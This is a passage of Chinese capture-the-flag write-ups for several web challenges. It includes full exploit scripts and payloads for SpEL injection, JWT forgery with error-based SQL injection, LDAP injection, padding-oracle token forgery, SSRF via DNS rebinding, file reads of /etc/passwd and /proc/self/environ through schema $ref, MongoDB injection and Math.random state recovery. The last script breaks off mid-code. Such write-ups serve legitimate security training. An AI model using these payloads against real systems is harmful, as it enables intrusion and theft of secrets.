1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.?%5Bname%20matches%20'%5EresolveConstantDesc$ '%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.?%5Bname%20matches%20'%5EgetVersion $'%5D%5B0%5D.returnType.enclosingClass.methods.?%5B(name%20matches%20'%5Eexec$ ')%20and%20(parameterCount%20matches%20'%5E3 $')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.?%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content%5B'r'+'eadAllBytes'%5D%5Bn%5D
取前五个字符对应 ASCII:I S C C {,正好是flag头
此时可以写一个代码来读flag了,下面的exp就是
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import sysfrom urllib.parse import quotefrom urllib.request import urlopenBASE_URL = "<目标地址>" TIMEOUT = 10 LOOKUP_CLASS = ( "''.class.describeConstable.get.class.methods." "?[name matches '^resolveConstantDesc$'][0].parameterTypes[0]." "enclosingClass.lookup.lookupClass" ) RUNTIME_CLASS = ( LOOKUP_CLASS + ".classLoader.URLs[0].openConnection.jarFile.class.methods." + "?[name matches '^getVersion$'][0].returnType.enclosingClass" ) FILE_CLASS = ( RUNTIME_CLASS + ".methods.?[(name matches '^exec$') and (parameterCount matches '^3$')][0]" + ".parameterTypes[2]" ) FLAG_BYTES_EXPR = ( FILE_CLASS + ".listRoots[0].listFiles.?[name matches '._flag._'][0]" + ".toURL.content['r'+'eadAllBytes']" ) def send_expr (expr: str ) -> str : url = f"{BASE_URL} /api/route?expr={quote(expr, safe='' )} " with urlopen(url, timeout=TIMEOUT) as resp: return resp.read().decode().strip() def main () -> int : baseline = send_expr("1+1" ) if baseline != "2" : print (f"unexpected baseline response: {baseline} " , file=sys.stderr) return 1 length = int (send_expr(FLAG_BYTES_EXPR + ".length" )) data = bytearray () for i in range (length): value = int (send_expr(f"{FLAG_BYTES_EXPR} [{i} ]" )) if value < 0 : value += 256 data.append(value) print (data.decode("utf-8" , errors="replace" )) return 0 if __name__ == "__main__" : raise SystemExit(main())
账号“恢复”大冒险 解题思路 一、题目分析 题目表面上是一个普通的登录/注册/个人信息系统,但在“账户恢复”逻辑中存在两处关键问题:
JWT 中的 status 字段可以被伪造为 RECOVERY,从而强行进入 /recovery 恢复流程。恢复流程中的 /api/v1/user/sync 接口对 theme 参数存在 MariaDB 报错注入。
因此完整利用链为:伪造恢复态 JWT -> 进入恢复逻辑 -> HackBar 对 /api/v1/user/sync 发包 -> 利用报错注入枚举数据库 -> 读取 flags.flag -> 拼接得到 flag
二、漏洞点定位 1. 可用账户
使用如下账号可正常登录:
用户名:<用户名> 密码:123456
support 的 uid = 56947后续伪造 JWT 需要用到这个 uid。
2. 恢复态 JWT 可伪造 服务端会信任 JWT 中的以下字段:
1 2 3 4 5 6 { "uid" : 56947 , "username" : "<用户名>" , "status" : "NORMAL" , "exp" : 1779030340 }
只要把 status 伪造成 RECOVERY,就能进入恢复逻辑。
当前实例可直接使用的 Token 如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjU2OTQ3LCJ1c2VybmFtZSI6IkxGaXNjaGwiLCJzdGF0dXMiOiJOT1JNQUwiLCJleHAiOjE3NzkwMzAzNDB9.EksC8tWouvMlTYseCe1kovODk5WuxBQQ6xdTGg5X4bc
三、漏洞利用 1. 伪造jwt 用cyberchef搜索jwt进行伪造
伪造后的jwt:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjU2OTQ3LCJ1c2VybmFtZSI6IkxGaXNjaGwiLCJzdGF0dXMiOiJOT1JNQUwiLCJleHAiOjE3NzkwMzAzNDB9.EksC8tWouvMlTYseCe1kovODk5WuxBQQ6xdTGg5X4bc
2. 验证注入并获取数据库名 POST在/api/v1/user/sync发送如下 JSON:
1 { "theme" : "a' AND updatexml(1,concat(0x7e,(database()),0x7e),1) AND '1'='1" , "language" : "zh" }
响应中出现错误信息,发现有报错注入
3.查表名
发送如下 JSON:
1 { "theme" : "a' AND updatexml(1,concat(0x7e,((select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e),1) AND '1'='1" , "language" : "zh" }
响应中出现:
temp_credentials,users,flags
说明当前数据库中存在 flags 表。
4.查flags表字段
发送如下 JSON:
1 { "theme" : "a' AND updatexml(1,concat(0x7e,((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flags')),0x7e),1) AND '1'='1" , "language" : "zh" }
响应中出现:
id,flag,description
说明 flags 表中存在 flag 字段,可直接读取。
5.直接读取 flag
发送如下 JSON:
1 { "theme" : "a' AND updatexml(1,concat(0x7e,((select group_concat(flag) from flags)),0x7e),1) AND '1'='1" , "language" : "zh" }
由于 updatexml 报错回显长度有限,响应只会显示前半段ISCC{jwt_downgrade_successfu…
说明已经成功读到 flag,只是被报错长度截断。
第2段:
1 { "theme" : "a' AND updatexml(1,concat(0x7e,(substring((select group_concat(flag) from flags),17,16)),0x7e),1) AND '1'='1" , "language" : "zh" }
回显de_successful_pw
第3段
1 { "theme" : "a' AND updatexml(1,concat(0x7e,(substring((select group_concat(flag) from flags),33,16)),0x7e),1) AND '1'='1" , "language" : "zh" }
1 2 回显:n!} 拼接三段即可得到完整 flag:ISCC{jwt_downgrade_successful_pwn!}
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import base64import hashlibimport hmacimport jsonimport timeimport requestsBASE_URL = "<目标地址>" LOGIN_USER = "<用户名>" LOGIN_PASS = "123456" USER_ID = 893 JWT_SECRET = "x" CHUNK_SIZE = 16 TIMEOUT = 20 RETRIES = 3 def b64u (data: bytes ) -> str : return base64.urlsafe_b64encode(data).rstrip(b"=" ).decode() def make_session () -> requests.Session: sess = requests.Session() sess.trust_env = False return sess def request_with_retry ( method: str , url: str , session: requests.Session, **kwargs ) -> requests.Response: last_exc = None for attempt in range (1 , RETRIES + 1 ): try : return session.request(method, url, **kwargs) except requests.RequestException as exc: last_exc = exc if attempt == RETRIES: raise time.sleep(1.0 * attempt) raise last_exc def make_recovery_token (uid: int , username: str ) -> str : header = {"alg" : "HS256" , "typ" : "JWT" } payload = { "uid" : uid, "username" : username, "status" : "RECOVERY" , "exp" : 1779999999 , } msg = ( b64u(json.dumps(header, separators=("," , ":" )).encode()) + "." + b64u(json.dumps(payload, separators=("," , ":" )).encode()) ) sig = b64u(hmac.new(JWT_SECRET.encode(), msg.encode(), hashlib.sha256).digest()) return msg + "." + sig def query_flag_chunk (session: requests.Session, start: int , length: int = CHUNK_SIZE ) -> str : sql = ( "a' AND updatexml(1,concat(0x7e," f"(substring((select group_concat(flag) from flags),{start} ,{length} ))," "0x7e),1) AND '1'='1" ) resp = request_with_retry( "POST" , BASE_URL + "/api/v1/user/sync" , session=session, json={"theme" : sql, "language" : "zh" }, timeout=TIMEOUT, ) return resp.text def main () -> None : session = make_session() token = make_recovery_token(USER_ID, LOGIN_USER) session.cookies.set ("token" , token) parts = [] for start in range (1 , 49 , CHUNK_SIZE): text = query_flag_chunk(session, start) print (f"[+] chunk {start} : {text} " ) parts.append(text) print ("[+] 拼接报错回显中的 flag 片段即可得到完整 flag" ) if __name__ == "__main__" : main()
擂台 Web WP Oracle’s Whisper 解题思路 攻击链总览
robots.txt 泄露 API 路径
/api/users/search LDAP 注入 -> 枚举出 oracle / archon 管理员
archon.note 泄露 internal-api:6000 /cache/template
/api/session/decrypt Padding Oracle -> 恢复 CBC 中间值
伪造 role=admin 的 session token
/api/profile 获取 internal_token
/api/webhook/test SSRF + DNS Rebinding -> 127.0.0.1:6000
/cache/template?name=/flag 携带 X-Internal-Token 读取 flag
Phase 1: 信息收集 robots.txt
1 2 3 4 5 6 User-agent : *Disallow : /api/session/Disallow : /api/users/Disallow : /api/webhook/Disallow : /graphql# graphql introspection disabled per security review (PROD-2024-Q3)
暴露了 /api/session/、/api/users/、/api/webhook/、/graphql 等敏感路径。
首页 HTML
Speak to the oracle in her own tongue.
API surfaces: /graphql, /login, /api/profile
Phase 2: LDAP 注入 -> 枚举管理员 漏洞位置 1 GET /api/users/search?uid=*
返回:
后端直接将 uid 参数拼接进 LDAP filter。
注入 Payload
1 uid=_))(&(uid=oracle)(note=K_
改造 filter 为布尔判断,逐字符枚举属性值。
枚举结果
1 2 3 4 oracle: {"uid":"oracle","email":"oracle@whisper.int","role":"admin","note":"Keeper of the inner sanctum."} archon (关键): {"uid":"archon","email":"archon@whisper.int","role":"admin","note":"Internal cache service at internal-api:6000 (templates under /cache/template)."}
archon.note 直接暴露了内部服务信息:internal-api:6000 和 /cache/template。
Phase 3: Padding Oracle -> 伪造 Admin Token 漏洞发现
1 POST /api/session/decrypt 接口接收 token 并解密:
填充错误时返回 400 + padding 相关错误信息
填充正确时返回其他状态码
这构成经典的 Padding Oracle 条件。
攻击原理
CBC 模式下,通过观察解密时的填充错误,可以:
逐字节恢复每个密文块的中间值 (Dec(block))
利用中间值反向构造任意明文对应的密文
攻击流程
1 2 目标明文: {"user":"oracle","role":"admin"} + PKCS#7 padding 分为 4 个 16 字节块: [part2][part3][padding][IV]
从最后一个块开始,用 Padding Oracle 恢复每个块的 Dec 值
通过 Cipher[i] = Dec[i+1] XOR Plain[i] 反向计算密文
组合得到完整 token
脚本核心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def padding_oracle (ciphertext: bytes ) -> bool : token = base64url_encode(ciphertext) resp = requests.post(f"{BASE_URL} /api/session/decrypt" , json={"token" : token}, timeout=5 ) return resp.status_code != 400 def decrypt_block (block: bytes ) -> bytes : plaintext = bytearray (BLOCK_SIZE) for padding_byte in range (1 , 17 ): position = BLOCK_SIZE - padding_byte for guess in range (256 ): modified = bytearray (BLOCK_SIZE) for j in range (position + 1 , BLOCK_SIZE): modified[j] = plaintext[j] ^ padding_byte modified[position] = guess if padding_oracle(bytes (modified) + block): if padding_byte == 1 : test_block = bytearray (modified) test_block[position - 1 ] ^= 1 if not padding_oracle(bytes (test_block) + block): continue plaintext[position] = guess ^ padding_byte break return bytes (plaintext)
每个块需要最多 16 * 256 = 4096 次 oracle 请求,3 个块约 12288 次。
Phase 4: 获取 Internal Token 伪造的 admin token 写入 session cookie,访问管理员接口:
1 2 3 4 sess = requests.Session() sess.cookies["session" ] = admin_token resp = sess.get(f"{BASE_URL} /api/profile" ) internal_token = resp.json()["internal_token" ]
Phase 5: SSRF + DNS Rebinding -> 读取 Flag SSRF 接口
1 2 POST /api/webhook/test 支持自定义 URL、method、headers,但有以下限制: 私网 IP 被拦截 (resolved to private ip)
localhost / internal-api 等主机名被黑名单拦截
不跟随重定向
DNS Rebinding 绕过
使用 rbndr.us DNS 重绑定服务:
7f000001.01010101.rbndr.us 1 2 7f000001 = 127.0.0.1 (内网) 01010101 = 1.1.1.1 (公网)
该域名在两次 DNS 解析间交替返回公网/内网 IP,绕过 SSRF 的 DNS 解析检测。
最终请求
1 2 3 4 5 6 resp = sess.post(f"{BASE_URL}/api/webhook/test", json={ "url": "[http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag](http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag)", "method": "GET", "headers": {"X-Internal-Token": internal_token} }) flag = json.loads(resp.json()["body"])["content"]
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 """ Oracle's Whisper - Full Exploit 攻击链: LDAP Oracle -> Padding Oracle -> Admin Token -> SSRF + DNS Rebinding -> Flag """ import requestsimport jsonimport timeimport base64import osBASE_URL = "<目标地址>" BLOCK_SIZE = 16 def base64url_encode (data: bytes ) -> str : return base64.urlsafe_b64encode(data).decode().rstrip("=" ) def padding_oracle (ciphertext: bytes ) -> bool : """通过 /api/session/decrypt 的错误回显判断填充是否合法""" token = base64url_encode(ciphertext) try : resp = requests.post(f"{BASE_URL} /api/session/decrypt" , json={"token" : token}, timeout=5 ) return resp.status_code != 400 except : return False def decrypt_block (block: bytes ) -> bytes : """解密单个 16 字节数据块""" assert len (block) == BLOCK_SIZE plaintext = bytearray (BLOCK_SIZE) for padding_byte in range (1 , 17 ): position = BLOCK_SIZE - padding_byte for guess in range (256 ): modified = bytearray (BLOCK_SIZE) for j in range (position + 1 , BLOCK_SIZE): modified[j] = plaintext[j] ^ padding_byte modified[position] = guess if padding_oracle(bytes (modified) + block): if padding_byte == 1 : test_block = bytearray (modified) test_block[position - 1 ] ^= 1 if not padding_oracle(bytes (test_block) + block): continue plaintext[position] = guess ^ padding_byte break else : raise Exception(f"Failed at padding {padding_byte} " ) print (f" [+] Decrypted byte {16 - position} /16" ) return bytes (plaintext) def forge_admin_token () -> str : """利用 Padding Oracle 构造 role=admin 的 CBC token""" print ("[*] Phase 2: Forging admin token via Padding Oracle..." ) part2 = b'{"user":"oracle"' part3 = b',"role":"admin"}' part4 = bytes ([16 ]) * 16 iv = os.urandom(BLOCK_SIZE) print (" [*] Decrypting block 4 (padding)..." ) dec4 = decrypt_block(iv) cipher3 = bytes ([dec4[i] ^ part4[i] for i in range (BLOCK_SIZE)]) print (" [*] Decrypting block 3 (role)..." ) dec3 = decrypt_block(cipher3) cipher2 = bytes ([dec3[i] ^ part3[i] for i in range (BLOCK_SIZE)]) print (" [*] Decrypting block 2 (user)..." ) dec2 = decrypt_block(cipher2) cipher1 = bytes ([dec2[i] ^ part2[i] for i in range (BLOCK_SIZE)]) admin_token = base64url_encode(cipher1 + cipher2 + cipher3 + iv) print (f"\n [+] Admin Token: {admin_token} \n" ) return admin_token def get_internal_token (admin_token: str ) -> str : """使用管理员 token 访问 /api/profile 获取 internal_token""" print ("[*] Phase 3: Getting internal token from /api/profile..." ) sess = requests.Session() sess.cookies["session" ] = admin_token resp = sess.get(f"{BASE_URL} /api/profile" ) print (f" [*] /api/profile status: {resp.status_code} " ) if resp.status_code != 200 : print (f" [-] Failed: {resp.text} " ) raise Exception("Failed to get internal token" ) data = resp.json() internal_token = data.get("internal_token" , "" ) print (f" [+] Internal Token: {internal_token} \n" ) return internal_token def extract_flag (admin_token: str , internal_token: str ) -> str : """通过 SSRF + DNS Rebinding 访问 127.0.0.1:6000 内部服务获取 flag""" print ("[*] Phase 4: SSRF + DNS Rebinding to internal-cache..." ) sess = requests.Session() sess.cookies["session" ] = admin_token ssrf_target = "[http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag](http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag)" for attempt in range (1 , 31 ): try : resp = sess.post( f"{BASE_URL} /api/webhook/test" , json={ "url" : ssrf_target, "method" : "GET" , "headers" : {"X-Internal-Token" : internal_token}, }, timeout=10 , ) if resp.status_code == 200 : try : data = resp.json() body = data.get("body" , "{}" ) content = json.loads(body).get("content" , "" ) if "ISCC{" in content: flag = content.strip() print (f"\n{'=' *50 } " ) print (f" FLAG: {flag} " ) print (f"{'=' *50 } " ) return flag except (json.JSONDecodeError, KeyError): pass print (f" [Attempt {attempt} /{30 } ] status={resp.status_code} , retrying..." ) time.sleep(2 ) except Exception as e: print (f" [Attempt {attempt} /{30 } ] Error: {e} " ) time.sleep(2 ) print ("\n [-] Failed to capture flag after 30 attempts." ) return None if __name__ == "__main__" : print ("=" * 60 ) print (" Oracle's Whisper - Full Exploit Chain" ) print ("=" * 60 ) admin_token = forge_admin_token() internal_token = get_internal_token(admin_token) flag = extract_flag(admin_token, internal_token) if flag: print (f"\n[+] Done! Flag: {flag} " ) else : print ("\n[-] Exploit failed." )
ShadowLedger 解题思路 1. 信息收集 访问目标站点,发现是一个 Node.js 应用,主要功能包括:用户注册/登录、审计模板预览/导入
报表查看、查看 JavaScript 源码 /static/app.js,发现关键 API:
1 2 3 4 5 POST /api/register - 注册 POST /api/login - 登录 POST /api/template/preview - 模板预览(关键) POST /api/template/import - 模板导入 GET /api/user/session - 会话信息
2. 注册登录
3. 漏洞发现 访问 /templates 页面,提示:
Paste JSON or YAML schema. The preview service resolves nested references for auditors.
这句话是关键线索!说明服务端会解析 JSON Schema 中的 $ref 引用。
4. 漏洞验证 - 本地文件读取(LFI) 使用 $ref 配合 file:// 协议读取服务器文件:
{“schema”:{“$ref”:”file:///etc/passwd”}}’
返回结果:
文件读取成功!
5. 寻找 Flag Flag 通常存储在以下位置:
环境变量
特定文件(flag.txt, /flag 等)
进程信息
尝试读取进程环境变量:
‘{“schema”:{“$ref”:”file:///proc/self/environ”}}’
返回结果:
1 FLAG=ISCC{black_box_schema_ref_to_shadow_vault_2026}
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 """ ShadowLedger CTF 一键梭哈脚本 用法: python3 solve.py [target_url] """ import requestsimport sysimport reTARGET = sys.argv[1 ] if len (sys.argv) > 1 else "<目标地址>" USERNAME = "autoplayer" PASSWORD = "autopass123" def main (): session = requests.Session() print (f"[*] 目标: {TARGET} " ) print ("[*] 正在注册..." ) r = session.post(f"{TARGET} /api/register" , json={"username" : USERNAME, "password" : PASSWORD}) data = r.json() if "ok" in data and data["ok" ]: print (f"[+] 注册成功, UID: {data.get('uid' )} " ) elif "error" in data and "exists" in data["error" ]: print ("[*] 用户已存在,继续登录..." ) else : print (f"[-] 注册失败: {data} " ) return print ("[*] 正在登录..." ) r = session.post(f"{TARGET} /api/login" , json={"username" : USERNAME, "password" : PASSWORD}) data = r.json() if data.get("ok" ): print (f"[+] 登录成功, 角色: {data.get('role' )} " ) else : print (f"[-] 登录失败: {data} " ) return print ("[*] 正在读取环境变量..." ) payload = {"schema" : {"$ref" : "file:///proc/self/environ" }} r = session.post(f"{TARGET} /api/template/preview" , json=payload) data = r.json() if data.get("ok" ): env_content = data["preview" ] print ("[+] 文件读取成功!" ) env_vars = env_content.split("\x00" ) for var in env_vars: if var.startswith("FLAG=" ): flag = var[5 :] print (f"\n{'=' *50 } " ) print (f"[+] FLAG: {flag} " ) print (f"{'=' *50 } " ) return match = re.search(r"FLAG=(ISCC{[^}]+})" , env_content) if match : print (f"\n{'=' *50 } " ) print (f"[+] FLAG: {match .group(1 )} " ) print (f"{'=' *50 } " ) return print ("[-] 未找到 FLAG,原始内容:" ) print (env_content[:500 ]) else : print (f"[-] 读取失败: {data} " ) if __name__ == "__main__" : main()
输出结果
八卦星图馆 解题思路 1. 入口与提示 首页给出四个入口:/qian、/dui、/li、/zhen,
看下半仙·碎碎念里的东西
去/robots.txt看看
1 2 3 4 5 6 7 8 User-agent : *Disallow : /qian/Disallow : /dui/Disallow : /li/Disallow : /zhen/Disallow : /admin/# "乾兑离震" 四卦门径皆在此,少侠自行参详 # "太极" 藏于何处?—— 问 /half-immortal 或许知道
页面会随机返回提示,其中包含:
老朽昨日酒喝多了,可能把钥匙藏在了源码里,少侠自便。
抢头香那帮人每天排队争,其实代码里早就有漏洞了哈哈。
继续看碎碎念,关键信息”天机签用的是 Math.random()”
页面明确给出 MongoDB、{“$ ne": null}、{" $regex”:”^a”} 等提示。
2. 乾卦:Mongo 注入拿会话 1 2 3 POST /qian/login Content-Type : application/json{"username":"qingyun","password":{"$ ne":null}," $set":{"role":"apprentice"}}
响应:
1 2 3 4 5 6 7 { "message" : "欢迎,见习道童" , "username" : "qingyun_8a80eebd96f5b0a5" , "role" : "apprentice" , "title" : "见习道童" , "hint" : "下一步:兑卦 /dui 自修门规" }
响应头会下发cookie:(注意之后的session一定保持不变!!!!!!!!!!!!!!)
1 team_id=team98ada0ff; session=eyJ1aWQiOiI2YTBhZGE3MGZlOTQwM2VkMTFiMDc0M2MiLCJ1c2VybmFtZSI6InFpbmd5dW5fOGE4MGVlYmQ5NmY1YjBhNSJ9.8pWwrXOxQaG3s737WVNt5Qkqy9w8LVQEiSglQY9D1MU
3. 兑卦:批量赋值提权
请求头:
1 2 3 Content-Type : application/jsonCookie : session=乾卦返回的 sessionsession=eyJ1aWQiOiI2YTBhZGE3MGZlOTQwM2VkMTFiMDc0M2MiLCJ1c2VybmFtZSI6InFpbmd5dW5fOGE4MGVlYmQ5NmY1YjBhNSJ9.8pWwrXOxQaG3s737WVNt5Qkqy9w8LVQEiSglQY9D1MU
请求体:
1 2 3 4 5 6 7 8 9 10 11 { "title" : "掌门" , "bio" : "x" , "role" : "admin" , "admin" : true , "isAdmin" : true , "master" : true , "isMaster" : true , "leader" : true , "isLeader" : true }
响应:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "message" : "门规已修订" , "user" : { "_id" : "6a0ada70fe9403ed11b0743c" , "username" : "qingyun_8a80eebd96f5b0a5" , "role" : "admin" , "title" : "掌门" , "bio" : "x" , "4ltzbq5cjgj" : "=" , "admin" : true , "isAdmin" : true , "isLeader" : true , "isMaster" : true , "leader" : true , "master" : true } }
再次请求:GET /dui/me返回结果中已经包含上述高权限字段。
4. 离卦:并发抢令牌 1 GET /li 页面提示“每人限 1 张”“先读→判断→延迟→再写”“同时发出多个请求”。
同一组 session Cookie
1 session=eyJ1aWQiOiI2YTBhZGE3MGZlOTQwM2VkMTFiMDc0M2MiLCJ1c2VybmFtZSI6InFpbmd5dW5fOGE4MGVlYmQ5NmY1YjBhNSJ9.8pWwrXOxQaG3s737WVNt5Qkqy9w8LVQEiSglQY9D1MU
并发发送:POST /li/grab
请求头:
1 2 3 Content-Type : application/jsonCookie : session=兑卦提权后的 session请求体:{}
同一时刻发送 32 个请求,返回中会出现多条成功结果,
1 { "message" : "头香已抢!司命令牌已发放" , "token" : "584fbed0f2fd182a0c3a8d6d" , "hint" : "收集 3 张令牌,去震卦 /zhen 占卜天机" }
保留 3 张令牌,
2ae359fd9b9effa12acf7114 d46920c829493e8ee24ecb50
0b1648d41c17028e61532d9b 5. 震卦:恢复 Math.random 状态并提交 1 GET /zhen页面包含:当前期号输入框、历史签号 const HISTORY = [...]当前倒计时页面中的历史数据格式如下:
本地脚本读取 HISTORY,按 Math.floor(Math.random() * 1000000) 约束恢复 V8 Math.random() 状态,得到下一期号码。
由于是要在限时时间内的,所以写了个代码,自动抓取数字和要预测的签号,输出数值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import jsonimport reimport urllib.errorimport urllib.requestfrom z3 import BitVec, BitVecVal, LShR, Solver, UGE, ULT, satBASE = "<目标地址>" SESSION = "eyJ1aWQiOiI2YTBhZGEzZWZlOTQwM2VkMTFiMDcwZmQiLCJ1c2VybmFtZSI6InFpbmd5dW5fZGJmYjNkMjcyZmRiYzk5YiJ9.u_r2zmd-x9bUgF0sw5ZDhDCQ2Qg-m2NLqZQd-DLq8o8" MASK = (1 << 64 ) - 1 DEN = 1 << 52 def http_json (method, path, body=None ): data = None headers = {"Cookie" : f"session={SESSION} " } if body is not None : data = json.dumps(body, ensure_ascii=False ).encode("utf-8" ) headers["Content-Type" ] = "application/json" req = urllib.request.Request(BASE + path, data=data, headers=headers, method=method) try : with urllib.request.urlopen(req, timeout=15 ) as resp: raw = resp.read().decode("utf-8" , errors="replace" ) return resp.status, raw except urllib.error.HTTPError as exc: raw = exc.read().decode("utf-8" , errors="replace" ) return exc.code, raw def step_z3 (s0, s1 ): x = s0 y = s1 s0n = y x = x ^ (x << 23 ) x = x ^ LShR(x, 17 ) x = x ^ y x = x ^ LShR(y, 26 ) return s0n, x def step_int (s0, s1 ): x = s0 y = s1 s0n = y x ^= (x << 23 ) & MASK x ^= x >> 17 x ^= y x ^= y >> 26 return s0n & MASK, x & MASK def add_observed_number (solver, s0, number ): lo = (number * DEN + 999_999 ) // 1_000_000 hi = ((number + 1 ) * DEN + 999_999 ) // 1_000_000 top = LShR(s0, 12 ) solver.add(UGE(top, BitVecVal(lo, 64 ))) solver.add(ULT(top, BitVecVal(hi, 64 ))) def predict_next (numbers ): s0 = BitVec("s0" , 64 ) s1 = BitVec("s1" , 64 ) solver = Solver() solver.set (timeout=20000 ) solver.add(s0 != BitVecVal(0 , 64 ), s1 != BitVecVal(0 , 64 )) cur0, cur1 = s0, s1 add_observed_number(solver, cur0, numbers[0 ]) for number in numbers[1 :]: cur0, cur1 = step_z3(cur0, cur1) add_observed_number(solver, cur0, number) if solver.check() != sat: raise RuntimeError("failed to recover Math.random state" ) model = solver.model() a = model[s0].as_long() b = model[s1].as_long() for _ in numbers[1 :]: a, b = step_int(a, b) a, b = step_int(a, b) return int (((a >> 12 ) / DEN) * 1_000_000 ) def parse_zhen_page (html ): round_match = re.search(r'name="round" value="(\d+)"' , html) hist_match = re.search(r"const HISTORY = ([.*?]);" , html, re.S) if not round_match or not hist_match: raise RuntimeError("failed to parse /zhen page" ) current_round = int (round_match.group(1 )) history = json.loads(hist_match.group(1 )) history = sorted (history, key=lambda item: item["round" ]) return current_round, history def main (): code, html = http_json("GET" , "/zhen" ) if code != 200 : raise RuntimeError(f"GET /zhen failed: HTTP {code} {html} " ) _, history = parse_zhen_page(html) numbers = [item["number" ] for item in history] print (predict_next(numbers)) if __name__ == "__main__" : main()
一定注意要POST发包,改session!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
本次复现的成功响应如下:
1 { "message" : "🎴 卦象大吉!内殿大门已开" , "flag" : "ISCC{bagua_MYQH1826B5gEJLo}" , "next" : "恭喜少侠得见祖师真容" }
Flag:ISCC{bagua_MYQH1826B5gEJLo}
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 import concurrent.futuresimport http.cookiejarimport jsonimport reimport threadingimport timeimport urllib.errorimport urllib.requestfrom z3 import BitVec, BitVecVal, LShR, Solver, UGE, ULT, satBASE = "<目标地址>" PARALLEL_GRABS = 32 NEEDED_TOKENS = 3 MASK = (1 << 64 ) - 1 DEN = 1 << 52 class Client : def __init__ (self, base ): self .base = base.rstrip("/" ) self .jar = http.cookiejar.CookieJar() self .opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(self .jar) ) def request (self, method, path, body=None , headers=None , timeout=15 ): data = None req_headers = {} if headers is None else dict (headers) if body is not None : data = json.dumps(body, ensure_ascii=False ).encode("utf-8" ) req_headers["Content-Type" ] = "application/json" req = urllib.request.Request( self .base + path, data=data, headers=req_headers, method=method, ) try : with self .opener.open (req, timeout=timeout) as resp: raw = resp.read() return resp.status, raw.decode("utf-8" , errors="replace" ) except urllib.error.HTTPError as exc: raw = exc.read() return exc.code, raw.decode("utf-8" , errors="replace" ) def get (self, path ): return self .request("GET" , path) def post (self, path, body=None ): return self .request("POST" , path, body) def cookie_header (self ): pairs = [] for cookie in self .jar: pairs.append(f"{cookie.name} ={cookie.value} " ) return "; " .join(pairs) def parse_json (text ): try : return json.loads(text) except json.JSONDecodeError: return {} def step_z3 (s0, s1 ): x = s0 y = s1 s0n = y x = x ^ (x << 23 ) x = x ^ LShR(x, 17 ) x = x ^ y x = x ^ LShR(y, 26 ) return s0n, x def step_int (s0, s1 ): x = s0 y = s1 s0n = y x ^= (x << 23 ) & MASK x ^= x >> 17 x ^= y x ^= y >> 26 return s0n & MASK, x & MASK def random_number_from_state (s0 ): return int (((s0 >> 12 ) / DEN) * 1_000_000 ) def add_observed_number (solver, s0, number ): lo = (number * DEN + 999_999 ) // 1_000_000 hi = ((number + 1 ) * DEN + 999_999 ) // 1_000_000 top = LShR(s0, 